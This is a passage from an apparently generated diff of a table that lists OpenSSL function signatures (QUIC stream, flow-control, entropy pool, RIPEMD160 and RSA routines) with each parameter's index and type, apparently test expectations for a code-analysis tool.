(QUIC_SSTREAM *,int) | | ossl_quic_sstream_set_cleanse | 0 | QUIC_SSTREAM * | +| (QUIC_SSTREAM *,int) | | ossl_quic_sstream_set_cleanse | 1 | int | +| (QUIC_SSTREAM *,size_t) | | ossl_quic_sstream_set_buffer_size | 0 | QUIC_SSTREAM * | +| (QUIC_SSTREAM *,size_t) | | ossl_quic_sstream_set_buffer_size | 1 | size_t | +| (QUIC_SSTREAM *,size_t,OSSL_QUIC_FRAME_STREAM *,OSSL_QTX_IOVEC *,size_t *) | | ossl_quic_sstream_get_stream_frame | 0 | QUIC_SSTREAM * | +| (QUIC_SSTREAM *,size_t,OSSL_QUIC_FRAME_STREAM *,OSSL_QTX_IOVEC *,size_t *) | | ossl_quic_sstream_get_stream_frame | 1 | size_t | +| (QUIC_SSTREAM *,size_t,OSSL_QUIC_FRAME_STREAM *,OSSL_QTX_IOVEC *,size_t *) | | ossl_quic_sstream_get_stream_frame | 2 | OSSL_QUIC_FRAME_STREAM * | +| (QUIC_SSTREAM *,size_t,OSSL_QUIC_FRAME_STREAM *,OSSL_QTX_IOVEC *,size_t *) | | ossl_quic_sstream_get_stream_frame | 3 | OSSL_QTX_IOVEC * | +| (QUIC_SSTREAM *,size_t,OSSL_QUIC_FRAME_STREAM *,OSSL_QTX_IOVEC *,size_t *) | | ossl_quic_sstream_get_stream_frame | 4 | size_t * | +| (QUIC_SSTREAM *,uint64_t *) | | ossl_quic_sstream_get_final_size | 0 | QUIC_SSTREAM * | +| (QUIC_SSTREAM *,uint64_t *) | | ossl_quic_sstream_get_final_size | 1 | uint64_t * | +| (QUIC_STREAM_ITER *,QUIC_STREAM_MAP *,int) | | ossl_quic_stream_iter_init | 0 | QUIC_STREAM_ITER * | +| (QUIC_STREAM_ITER *,QUIC_STREAM_MAP *,int) | | ossl_quic_stream_iter_init | 1 | QUIC_STREAM_MAP * | +| (QUIC_STREAM_ITER *,QUIC_STREAM_MAP *,int) | | ossl_quic_stream_iter_init | 2 | int | +| (QUIC_STREAM_MAP *) | | ossl_quic_stream_map_get_total_accept_queue_len | 0 | QUIC_STREAM_MAP * | +| (QUIC_STREAM_MAP *) | | ossl_quic_stream_map_peek_accept_queue | 0 | QUIC_STREAM_MAP * | +| (QUIC_STREAM_MAP *,..(*)(..),void *,QUIC_RXFC *,QUIC_RXFC *,int) | | ossl_quic_stream_map_init | 0 | QUIC_STREAM_MAP * | +| (QUIC_STREAM_MAP *,..(*)(..),void *,QUIC_RXFC *,QUIC_RXFC *,int) | | ossl_quic_stream_map_init | 1 | ..(*)(..) | +| (QUIC_STREAM_MAP *,..(*)(..),void *,QUIC_RXFC *,QUIC_RXFC *,int) | | ossl_quic_stream_map_init | 2 | void * | +| (QUIC_STREAM_MAP *,..(*)(..),void *,QUIC_RXFC *,QUIC_RXFC *,int) | | ossl_quic_stream_map_init | 3 | QUIC_RXFC * | +| (QUIC_STREAM_MAP *,..(*)(..),void *,QUIC_RXFC *,QUIC_RXFC *,int) | | ossl_quic_stream_map_init | 4 | QUIC_RXFC * | +| (QUIC_STREAM_MAP *,..(*)(..),void *,QUIC_RXFC *,QUIC_RXFC *,int) | | ossl_quic_stream_map_init | 5 | int | +| (QUIC_STREAM_MAP *,QUIC_STREAM *) | | ossl_quic_stream_map_push_accept_queue | 0 | QUIC_STREAM_MAP * | +| (QUIC_STREAM_MAP *,QUIC_STREAM *) | | ossl_quic_stream_map_push_accept_queue | 1 | QUIC_STREAM * | +| (QUIC_STREAM_MAP *,QUIC_STREAM *) | | ossl_quic_stream_map_schedule_stop_sending | 0 | QUIC_STREAM_MAP * | +| (QUIC_STREAM_MAP *,QUIC_STREAM *) | | ossl_quic_stream_map_schedule_stop_sending | 1 | QUIC_STREAM * | +| (QUIC_STREAM_MAP *,QUIC_STREAM *) | | ossl_quic_stream_map_update_state | 0 | QUIC_STREAM_MAP * | +| (QUIC_STREAM_MAP *,QUIC_STREAM *) | | ossl_quic_stream_map_update_state | 1 | QUIC_STREAM * | +| (QUIC_STREAM_MAP *,QUIC_STREAM *,uint64_t) | | ossl_quic_stream_map_reset_stream_send_part | 0 | QUIC_STREAM_MAP * | +| (QUIC_STREAM_MAP *,QUIC_STREAM *,uint64_t) | | ossl_quic_stream_map_reset_stream_send_part | 1 | QUIC_STREAM * | +| (QUIC_STREAM_MAP *,QUIC_STREAM *,uint64_t) | | ossl_quic_stream_map_reset_stream_send_part | 2 | uint64_t | +| (QUIC_STREAM_MAP *,QUIC_STREAM *,uint64_t) | | ossl_quic_stream_map_stop_sending_recv_part | 0 | QUIC_STREAM_MAP * | +| (QUIC_STREAM_MAP *,QUIC_STREAM *,uint64_t) | | ossl_quic_stream_map_stop_sending_recv_part | 1 | QUIC_STREAM * | +| (QUIC_STREAM_MAP *,QUIC_STREAM *,uint64_t) | | ossl_quic_stream_map_stop_sending_recv_part | 2 | uint64_t | +| (QUIC_STREAM_MAP *,QUIC_STREAM *,uint64_t,uint64_t) | | ossl_quic_stream_map_notify_reset_recv_part | 0 | QUIC_STREAM_MAP * | +| (QUIC_STREAM_MAP *,QUIC_STREAM *,uint64_t,uint64_t) | | ossl_quic_stream_map_notify_reset_recv_part | 1 | QUIC_STREAM * | +| (QUIC_STREAM_MAP *,QUIC_STREAM *,uint64_t,uint64_t) | | ossl_quic_stream_map_notify_reset_recv_part | 2 | uint64_t | +| (QUIC_STREAM_MAP *,QUIC_STREAM *,uint64_t,uint64_t) | | ossl_quic_stream_map_notify_reset_recv_part | 3 | uint64_t | +| (QUIC_STREAM_MAP *,int) | | ossl_quic_stream_map_get_accept_queue_len | 0 | QUIC_STREAM_MAP * | +| (QUIC_STREAM_MAP *,int) | | ossl_quic_stream_map_get_accept_queue_len | 1 | int | +| (QUIC_STREAM_MAP *,size_t) | | ossl_quic_stream_map_set_rr_stepping | 0 | QUIC_STREAM_MAP * | +| (QUIC_STREAM_MAP *,size_t) | | ossl_quic_stream_map_set_rr_stepping | 1 | size_t | +| (QUIC_STREAM_MAP *,uint64_t,int) | | ossl_quic_stream_map_alloc | 0 | QUIC_STREAM_MAP * | +| (QUIC_STREAM_MAP *,uint64_t,int) | | ossl_quic_stream_map_alloc | 1 | uint64_t | +| (QUIC_STREAM_MAP *,uint64_t,int) | | ossl_quic_stream_map_alloc | 2 | int | +| (QUIC_THREAD_ASSIST *,QUIC_CHANNEL *) | | ossl_quic_thread_assist_init_start | 0 | QUIC_THREAD_ASSIST * | +| (QUIC_THREAD_ASSIST *,QUIC_CHANNEL *) | | ossl_quic_thread_assist_init_start | 1 | QUIC_CHANNEL * | +| (QUIC_TLS *,const unsigned char *,size_t) | | ossl_quic_tls_set_transport_params | 0 | QUIC_TLS * | +| (QUIC_TLS *,const unsigned char *,size_t) | | ossl_quic_tls_set_transport_params | 1 | const unsigned char * | +| (QUIC_TLS *,const unsigned char *,size_t) | | ossl_quic_tls_set_transport_params | 2 | size_t | +| (QUIC_TLS *,uint64_t *,const char **,ERR_STATE **) | | ossl_quic_tls_get_error | 0 | QUIC_TLS * | +| (QUIC_TLS *,uint64_t *,const char **,ERR_STATE **) | | ossl_quic_tls_get_error | 1 | uint64_t * | +| (QUIC_TLS *,uint64_t *,const char **,ERR_STATE **) | | ossl_quic_tls_get_error | 2 | const char ** | +| (QUIC_TLS *,uint64_t *,const char **,ERR_STATE **) | | ossl_quic_tls_get_error | 3 | ERR_STATE ** | +| (QUIC_TSERVER *) | | ossl_quic_tserver_get0_rbio | 0 | QUIC_TSERVER * | +| (QUIC_TSERVER *) | | ossl_quic_tserver_get0_ssl_ctx | 0 | QUIC_TSERVER * | +| (QUIC_TSERVER *) | | ossl_quic_tserver_get_channel | 0 | QUIC_TSERVER * | +| (QUIC_TSERVER *) | | qtest_create_injector | 0 | QUIC_TSERVER * | +| (QUIC_TSERVER *,..(*)(..),void *) | | ossl_quic_tserver_set_msg_callback | 0 | QUIC_TSERVER * | +| (QUIC_TSERVER *,..(*)(..),void *) | | ossl_quic_tserver_set_msg_callback | 1 | ..(*)(..) | +| (QUIC_TSERVER *,..(*)(..),void *) | | ossl_quic_tserver_set_msg_callback | 2 | void * | +| (QUIC_TSERVER *,SSL *) | | qtest_create_quic_connection | 0 | QUIC_TSERVER * | +| (QUIC_TSERVER *,SSL *) | | qtest_create_quic_connection | 1 | SSL * | +| (QUIC_TSERVER *,SSL *) | | qtest_shutdown | 0 | QUIC_TSERVER * | +| (QUIC_TSERVER *,SSL *) | | qtest_shutdown | 1 | SSL * | +| (QUIC_TSERVER *,SSL *,int) | | qtest_create_quic_connection_ex | 0 | QUIC_TSERVER * | +| (QUIC_TSERVER *,SSL *,int) | | qtest_create_quic_connection_ex | 1 | SSL * | +| (QUIC_TSERVER *,SSL *,int) | | qtest_create_quic_connection_ex | 2 | int | +| (QUIC_TSERVER *,SSL_psk_find_session_cb_func) | | ossl_quic_tserver_set_psk_find_session_cb | 0 | QUIC_TSERVER * | +| (QUIC_TSERVER *,SSL_psk_find_session_cb_func) | | ossl_quic_tserver_set_psk_find_session_cb | 1 | SSL_psk_find_session_cb_func | +| (QUIC_TSERVER *,const QUIC_CONN_ID *) | | ossl_quic_tserver_set_new_local_cid | 0 | QUIC_TSERVER * | +| (QUIC_TSERVER *,const QUIC_CONN_ID *) | | ossl_quic_tserver_set_new_local_cid | 1 | const QUIC_CONN_ID * | +| (QUIC_TSERVER *,int,uint64_t *) | | ossl_quic_tserver_stream_new | 0 | QUIC_TSERVER * | +| (QUIC_TSERVER *,int,uint64_t *) | | ossl_quic_tserver_stream_new | 1 | int | +| (QUIC_TSERVER *,int,uint64_t *) | | ossl_quic_tserver_stream_new | 2 | uint64_t * | +| (QUIC_TSERVER *,uint32_t) | | ossl_quic_tserver_set_max_early_data | 0 | QUIC_TSERVER * | +| (QUIC_TSERVER *,uint32_t) | | ossl_quic_tserver_set_max_early_data | 1 | uint32_t | +| (QUIC_TSERVER *,uint64_t,const unsigned char *,size_t,size_t *) | | ossl_quic_tserver_write | 0 | QUIC_TSERVER * | +| (QUIC_TSERVER *,uint64_t,const unsigned char *,size_t,size_t *) | | ossl_quic_tserver_write | 1 | uint64_t | +| (QUIC_TSERVER *,uint64_t,const unsigned char *,size_t,size_t *) | | ossl_quic_tserver_write | 2 | const unsigned char * | +| (QUIC_TSERVER *,uint64_t,const unsigned char *,size_t,size_t *) | | ossl_quic_tserver_write | 3 | size_t | +| (QUIC_TSERVER *,uint64_t,const unsigned char *,size_t,size_t *) | | ossl_quic_tserver_write | 4 | size_t * | +| (QUIC_TSERVER *,uint64_t,unsigned char *,size_t,size_t *) | | ossl_quic_tserver_read | 0 | QUIC_TSERVER * | +| (QUIC_TSERVER *,uint64_t,unsigned char *,size_t,size_t *) | | ossl_quic_tserver_read | 1 | uint64_t | +| (QUIC_TSERVER *,uint64_t,unsigned char *,size_t,size_t *) | | ossl_quic_tserver_read | 2 | unsigned char * | +| (QUIC_TSERVER *,uint64_t,unsigned char *,size_t,size_t *) | | ossl_quic_tserver_read | 3 | size_t | +| (QUIC_TSERVER *,uint64_t,unsigned char *,size_t,size_t *) | | ossl_quic_tserver_read | 4 | size_t * | +| (QUIC_TXFC *) | | ossl_quic_txfc_get_cwm | 0 | QUIC_TXFC * | +| (QUIC_TXFC *) | | ossl_quic_txfc_get_parent | 0 | QUIC_TXFC * | +| (QUIC_TXFC *) | | ossl_quic_txfc_get_swm | 0 | QUIC_TXFC * | +| (QUIC_TXFC *,QUIC_TXFC *) | | ossl_quic_txfc_init | 0 | QUIC_TXFC * | +| (QUIC_TXFC *,QUIC_TXFC *) | | ossl_quic_txfc_init | 1 | QUIC_TXFC * | +| (QUIC_TXFC *,int) | | ossl_quic_txfc_has_become_blocked | 0 | QUIC_TXFC * | +| (QUIC_TXFC *,int) | | ossl_quic_txfc_has_become_blocked | 1 | int | +| (QUIC_TXFC *,uint64_t) | | ossl_quic_txfc_bump_cwm | 0 | QUIC_TXFC * | +| (QUIC_TXFC *,uint64_t) | | ossl_quic_txfc_bump_cwm | 1 | uint64_t | +| (QUIC_TXFC *,uint64_t) | | ossl_quic_txfc_consume_credit | 0 | QUIC_TXFC * | +| (QUIC_TXFC *,uint64_t) | | ossl_quic_txfc_consume_credit | 1 | uint64_t | +| (QUIC_TXFC *,uint64_t) | | ossl_quic_txfc_consume_credit_local | 0 | QUIC_TXFC * | +| (QUIC_TXFC *,uint64_t) | | ossl_quic_txfc_consume_credit_local | 1 | uint64_t | +| (QUIC_TXFC *,uint64_t) | | ossl_quic_txfc_get_credit | 0 | QUIC_TXFC * | +| (QUIC_TXFC *,uint64_t) | | ossl_quic_txfc_get_credit | 1 | uint64_t | +| (QUIC_TXFC *,uint64_t) | | ossl_quic_txfc_get_credit_local | 0 | QUIC_TXFC * | +| (QUIC_TXFC *,uint64_t) | | ossl_quic_txfc_get_credit_local | 1 | uint64_t | +| (QUIC_TXPIM *,QUIC_TXPIM_PKT *) | | ossl_quic_txpim_pkt_release | 0 | QUIC_TXPIM * | +| (QUIC_TXPIM *,QUIC_TXPIM_PKT *) | | ossl_quic_txpim_pkt_release | 1 | QUIC_TXPIM_PKT * | +| (QUIC_TXPIM_PKT *,QUIC_CFQ_ITEM *) | | ossl_quic_txpim_pkt_add_cfq_item | 0 | QUIC_TXPIM_PKT * | +| (QUIC_TXPIM_PKT *,QUIC_CFQ_ITEM *) | | ossl_quic_txpim_pkt_add_cfq_item | 1 | QUIC_CFQ_ITEM * | +| (QUIC_TXPIM_PKT *,const QUIC_TXPIM_CHUNK *) | | ossl_quic_txpim_pkt_append_chunk | 0 | QUIC_TXPIM_PKT * | +| (QUIC_TXPIM_PKT *,const QUIC_TXPIM_CHUNK *) | | ossl_quic_txpim_pkt_append_chunk | 1 | const QUIC_TXPIM_CHUNK * | +| (RAND_POOL *) | | ossl_pool_acquire_entropy | 0 | RAND_POOL * | +| (RAND_POOL *) | | ossl_rand_pool_buffer | 0 | RAND_POOL * | +| (RAND_POOL *) | | ossl_rand_pool_bytes_remaining | 0 | RAND_POOL * | +| (RAND_POOL *) | | ossl_rand_pool_detach | 0 | RAND_POOL * | +| (RAND_POOL *) | | ossl_rand_pool_entropy | 0 | RAND_POOL * | +| (RAND_POOL *) | | ossl_rand_pool_entropy_available | 0 | RAND_POOL * | +| (RAND_POOL *) | | ossl_rand_pool_entropy_needed | 0 | RAND_POOL * | +| (RAND_POOL *) | | ossl_rand_pool_length | 0 | RAND_POOL * | +| (RAND_POOL *,const unsigned char *,size_t) | | ossl_rand_pool_adin_mix_in | 0 | RAND_POOL * | +| (RAND_POOL *,const unsigned char *,size_t) | | ossl_rand_pool_adin_mix_in | 1 | const unsigned char * | +| (RAND_POOL *,const unsigned char *,size_t) | | ossl_rand_pool_adin_mix_in | 2 | size_t | +| (RAND_POOL *,const unsigned char *,size_t,size_t) | | ossl_rand_pool_add | 0 | RAND_POOL * | +| (RAND_POOL *,const unsigned char *,size_t,size_t) | | ossl_rand_pool_add | 1 | const unsigned char * | +| (RAND_POOL *,const unsigned char *,size_t,size_t) | | ossl_rand_pool_add | 2 | size_t | +| (RAND_POOL *,const unsigned char *,size_t,size_t) | | ossl_rand_pool_add | 3 | size_t | +| (RAND_POOL *,size_t) | | ossl_rand_pool_add_begin | 0 | RAND_POOL * | +| (RAND_POOL *,size_t) | | ossl_rand_pool_add_begin | 1 | size_t | +| (RAND_POOL *,size_t,size_t) | | ossl_rand_pool_add_end | 0 | RAND_POOL * | +| (RAND_POOL *,size_t,size_t) | | ossl_rand_pool_add_end | 1 | size_t | +| (RAND_POOL *,size_t,size_t) | | ossl_rand_pool_add_end | 2 | size_t | +| (RAND_POOL *,unsigned char *) | | ossl_rand_pool_reattach | 0 | RAND_POOL * | +| (RAND_POOL *,unsigned char *) | | ossl_rand_pool_reattach | 1 | unsigned char * | +| (RAND_POOL *,unsigned int) | | ossl_rand_pool_bytes_needed | 0 | RAND_POOL * | +| (RAND_POOL *,unsigned int) | | ossl_rand_pool_bytes_needed | 1 | unsigned int | +| (RECORD_LAYER *,SSL_CONNECTION *) | | RECORD_LAYER_init | 0 | RECORD_LAYER * | +| (RECORD_LAYER *,SSL_CONNECTION *) | | RECORD_LAYER_init | 1 | SSL_CONNECTION * | +| (RIO_NOTIFIER *) | | ossl_rio_notifier_cleanup | 0 | RIO_NOTIFIER * | +| (RIPEMD160_CTX *,const unsigned char *) | | RIPEMD160_Transform | 0 | RIPEMD160_CTX * | +| (RIPEMD160_CTX *,const unsigned char *) | | RIPEMD160_Transform | 1 | const unsigned char * | +| (RIPEMD160_CTX *,const void *,size_t) | | RIPEMD160_Update | 0 | RIPEMD160_CTX * | +| (RIPEMD160_CTX *,const void *,size_t) | | RIPEMD160_Update | 1 | const void * | +| (RIPEMD160_CTX *,const void *,size_t) | | RIPEMD160_Update | 2 | size_t | +| (RIPEMD160_CTX *,const void *,size_t) | | ripemd160_block_data_order | 0 | RIPEMD160_CTX * | +| (RIPEMD160_CTX *,const void *,size_t) | | ripemd160_block_data_order | 1 | const void * | +| (RIPEMD160_CTX *,const void *,size_t) | | ripemd160_block_data_order | 2 | size_t | +| (RSA *) | | RSA_get_version | 0 | RSA * | +| (RSA *) | | ossl_rsa_get0_libctx | 0 | RSA * | +| (RSA *) | | ossl_rsa_get0_pss_params_30 | 0 | RSA * | +| (RSA **,const unsigned char **,long) | | d2i_RSAPrivateKey | 0 | RSA ** | +| (RSA **,const unsigned char **,long) | | d2i_RSAPrivateKey | 1 | const unsigned char ** | +| (RSA **,const unsigned char **,long) | | d2i_RSAPrivateKey | 2 | long | +| (RSA **,const unsigned char **,long) | | d2i_RSAPublicKey | 0 | RSA ** | +| (RSA **,const unsigned char **,long) | | d2i_RSAPublicKey | 1 | const unsigned char ** | +| (RSA **,const unsigned char **,long) | | d2i_RSAPublicKey | 2 | long | +| (RSA **,const unsigned char **,long) | | d2i_RSA_PUBKEY | 0 | RSA ** | +| (RSA **,const unsigned char **,long) | | d2i_RSA_PUBKEY | 1 | const unsigned char ** | +| (RSA **,const unsigned char **,long) | | d2i_RSA_PUBKEY | 2 | long | +| (RSA *,BIGNUM *,BIGNUM *) | | RSA_set0_factors | 0 | RSA * | +| (RSA *,BIGNUM *,BIGNUM *) | | RSA_set0_factors | 1 | BIGNUM * | +| (RSA *,BIGNUM *,BIGNUM *) | | RSA_set0_factors | 2 | BIGNUM * | +| (RSA *,BIGNUM *,BIGNUM *,BIGNUM *) | | RSA_set0_crt_params | 0 | RSA * | +| (RSA *,BIGNUM *,BIGNUM *,BIGNUM *) | | RSA_set0_crt_params | 1 | BIGNUM * | +| (RSA *,BIGNUM *,BIGNUM *,BIGNUM *) | | RSA_set0_crt_params | 2 | BIGNUM * | +| (RSA *,BIGNUM *,BIGNUM *,BIGNUM *) | | RSA_set0_crt_params | 3 | BIGNUM * | +| (RSA *,BIGNUM *,BIGNUM *,BIGNUM *) | | RSA_set0_key | 0 | RSA * | +| (RSA *,BIGNUM *,BIGNUM *,BIGNUM *) | | RSA_set0_key | 1 | BIGNUM * | +| (RSA *,BIGNUM *,BIGNUM *,BIGNUM *) | | RSA_set0_key | 2 | BIGNUM * | +| (RSA *,BIGNUM *,BIGNUM *,BIGNUM *) | | RSA_set0_key | 3 | BIGNUM * | +| (RSA *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_GENCB *) | | RSA_X931_derive_ex | 0 | RSA * | +| (RSA *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_GENCB *) | | RSA_X931_derive_ex | 1 | BIGNUM * | +| (RSA *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_GENCB *) | | RSA_X931_derive_ex | 2 | BIGNUM * | +| (RSA *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_GENCB *) | | RSA_X931_derive_ex | 3 | BIGNUM * | +| (RSA *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_GENCB *) | | RSA_X931_derive_ex | 4 | BIGNUM * | +| (RSA *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_GENCB *) | | RSA_X931_derive_ex | 5 | const BIGNUM * | +| (RSA *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_GENCB *) | | RSA_X931_derive_ex | 6 | const BIGNUM * | +| (RSA *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_GENCB *) | | RSA_X931_derive_ex | 7 | const BIGNUM * | +| (RSA *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_GENCB *) | | RSA_X931_derive_ex | 8 | const BIGNUM * | +| (RSA *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_GENCB *) | | RSA_X931_derive_ex | 9 | const BIGNUM * | +| (RSA *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_GENCB *) | | RSA_X931_derive_ex | 10 | const BIGNUM * | +| (RSA *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_GENCB *) | | RSA_X931_derive_ex | 11 | const BIGNUM * | +| (RSA *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_GENCB *) | | RSA_X931_derive_ex | 12 | BN_GENCB * | +| (RSA *,BIGNUM *[],BIGNUM *[],BIGNUM *[],int) | | RSA_set0_multi_prime_params | 0 | RSA * | +| (RSA *,BIGNUM *[],BIGNUM *[],BIGNUM *[],int) | | RSA_set0_multi_prime_params | 1 | BIGNUM *[] | +| (RSA *,BIGNUM *[],BIGNUM *[],BIGNUM *[],int) | | RSA_set0_multi_prime_params | 2 | BIGNUM *[] | +| (RSA *,BIGNUM *[],BIGNUM *[],BIGNUM *[],int) | | RSA_set0_multi_prime_params | 3 | BIGNUM *[] | +| (RSA *,BIGNUM *[],BIGNUM *[],BIGNUM *[],int) | | RSA_set0_multi_prime_params | 4 | int | +| (RSA *,BN_CTX *) | | RSA_blinding_on | 0 | RSA * | +| (RSA *,BN_CTX *) | | RSA_blinding_on | 1 | BN_CTX * | +| (RSA *,BN_CTX *) | | RSA_setup_blinding | 0 | RSA * | +| (RSA *,BN_CTX *) | | RSA_setup_blinding | 1 | BN_CTX * | +| (RSA *,BN_CTX *) | | ossl_rsa_sp800_56b_pairwise_test | 0 | RSA * | +| (RSA *,BN_CTX *) | | ossl_rsa_sp800_56b_pairwise_test | 1 | BN_CTX * | +| (RSA *,OSSL_LIB_CTX *) | | ossl_rsa_set0_libctx | 0 | RSA * | +| (RSA *,OSSL_LIB_CTX *) | | ossl_rsa_set0_libctx | 1 | OSSL_LIB_CTX * | +| (RSA *,OSSL_PARAM_BLD *,OSSL_PARAM[],int) | | ossl_rsa_todata | 0 | RSA * | +| (RSA *,OSSL_PARAM_BLD *,OSSL_PARAM[],int) | | ossl_rsa_todata | 1 | OSSL_PARAM_BLD * | +| (RSA *,OSSL_PARAM_BLD *,OSSL_PARAM[],int) | | ossl_rsa_todata | 2 | OSSL_PARAM[] | +| (RSA *,OSSL_PARAM_BLD *,OSSL_PARAM[],int) | | ossl_rsa_todata | 3 | int | +| (RSA *,RSA_PSS_PARAMS *) | | ossl_rsa_set0_pss_params | 0 | RSA * | +| (RSA *,RSA_PSS_PARAMS *) | | ossl_rsa_set0_pss_params | 1 | RSA_PSS_PARAMS * | +| (RSA *,const OSSL_PARAM[],int) | | ossl_rsa_fromdata | 0 | RSA * | +| (RSA *,const OSSL_PARAM[],int) | | ossl_rsa_fromdata | 1 | const OSSL_PARAM[] | +| (RSA *,const OSSL_PARAM[],int) | | ossl_rsa_fromdata | 2 | int | +| (RSA *,const RSA_METHOD *) | | RSA_set_method | 0 | RSA * | +| (RSA *,const RSA_METHOD *) | | RSA_set_method | 1 | const RSA_METHOD * | +| (RSA *,const unsigned char *,const EVP_MD *,const EVP_MD *,const unsigned char *,int *) | | ossl_rsa_verify_PKCS1_PSS_mgf1 | 0 | RSA * | +| (RSA *,const unsigned char *,const EVP_MD *,const EVP_MD *,const unsigned char *,int *) | | ossl_rsa_verify_PKCS1_PSS_mgf1 | 1 | const unsigned char * | +| (RSA *,const unsigned char *,const EVP_MD *,const EVP_MD *,const unsigned char *,int *) | | ossl_rsa_verify_PKCS1_PSS_mgf1 | 2 | const EVP_MD * | +| (RSA *,const unsigned char *,const EVP_MD *,const EVP_MD *,const unsigned char *,int *) | | ossl_rsa_verify_PKCS1_PSS_mgf1 | 3 | const EVP_MD * | +| (RSA *,const unsigned char *,const EVP_MD *,const EVP_MD *,const unsigned char *,int *) | | ossl_rsa_verify_PKCS1_PSS_mgf1 | 4 | const unsigned char * | +| (RSA *,const unsigned char *,const EVP_MD *,const EVP_MD *,const unsigned char *,int *) | | ossl_rsa_verify_PKCS1_PSS_mgf1 | 5 | int * | +| (RSA *,const unsigned char *,const EVP_MD *,const EVP_MD *,const unsigned char *,int) | | RSA_verify_PKCS1_PSS_mgf1 | 0 | RSA * | +| (RSA *,const unsigned char *,const EVP_MD *,const EVP_MD *,const unsigned char *,int) | | RSA_verify_PKCS1_PSS_mgf1 | 1 | const unsigned char * | +| (RSA *,const unsigned char *,const EVP_MD *,const EVP_MD *,const unsigned char *,int) | | RSA_verify_PKCS1_PSS_mgf1 | 2 | const EVP_MD * | +| (RSA *,const unsigned char *,const EVP_MD *,const EVP_MD *,const unsigned char *,int) | | RSA_verify_PKCS1_PSS_mgf1 | 3 | const EVP_MD * | +| (RSA *,const unsigned char *,const EVP_MD *,const EVP_MD *,const unsigned char *,int) | | RSA_verify_PKCS1_PSS_mgf1 | 4 | const unsigned char * | +| (RSA *,const unsigned char *,const EVP_MD *,const EVP_MD *,const unsigned char *,int) | | RSA_verify_PKCS1_PSS_mgf1 | 5 | int | +| (RSA *,int) | | RSA_clear_flags | 0 | RSA * | +| (RSA *,int) | | RSA_clear_flags | 1 | int | +| (RSA *,int) | | RSA_set_flags | 0 | RSA * | +| (RSA *,int) | | RSA_set_flags | 1 | int | +| (RSA *,int,BIGNUM *,BN_GENCB *) | | RSA_generate_key_ex | 0 | RSA * | +| (RSA *,int,BIGNUM *,BN_GENCB *) | | RSA_generate_key_ex | 1 | int | +| (RSA *,int,BIGNUM *,BN_GENCB *) | | RSA_generate_key_ex | 2 | BIGNUM * | +| (RSA *,int,BIGNUM *,BN_GENCB *) | | RSA_generate_key_ex | 3 | BN_GENCB * | +| (RSA *,int,const BIGNUM *,BN_CTX *) | | ossl_rsa_sp800_56b_derive_params_from_pq | 0 | RSA * | +| (RSA *,int,const BIGNUM *,BN_CTX *) | | ossl_rsa_sp800_56b_derive_params_from_pq | 1 | int | +| (RSA *,int,const BIGNUM *,BN_CTX *) | | ossl_rsa_sp800_56b_derive_params_from_pq | 2 | const BIGNUM * | +| (RSA *,int,const BIGNUM *,BN_CTX *) | | ossl_rsa_sp800_56b_derive_params_from_pq | 3 | BN_CTX * | +| (RSA *,int,const BIGNUM *,BN_GENCB *) | | RSA_X931_generate_key_ex | 0 | RSA * | +| (RSA *,int,const BIGNUM *,BN_GENCB *) | | RSA_X931_generate_key_ex | 1 | int | +| (RSA *,int,const BIGNUM *,BN_GENCB *) | | RSA_X931_generate_key_ex | 2 | const BIGNUM * | +| (RSA *,int,const BIGNUM *,BN_GENCB *) | | RSA_X931_generate_key_ex | 3 | BN_GENCB * | +| (RSA *,int,const BIGNUM *,BN_GENCB *) | | ossl_rsa_sp800_56b_generate_key | 0 | RSA * | +| (RSA *,int,const BIGNUM *,BN_GENCB *) | | ossl_rsa_sp800_56b_generate_key | 1 | int | +| (RSA *,int,const BIGNUM *,BN_GENCB *) | | ossl_rsa_sp800_56b_generate_key | 2 | const BIGNUM * | +| (RSA *,int,const BIGNUM *,BN_GENCB *) | | ossl_rsa_sp800_56b_generate_key | 3 | BN_GENCB * | +| (RSA *,int,int,BIGNUM *,BN_GENCB *) | | RSA_generate_multi_prime_key | 0 | RSA * | +| (RSA *,int,int,BIGNUM *,BN_GENCB *) | | RSA_generate_multi_prime_key | 1 | int | +| (RSA *,int,int,BIGNUM *,BN_GENCB *) | | RSA_generate_multi_prime_key | 2 | int | +| (RSA *,int,int,BIGNUM 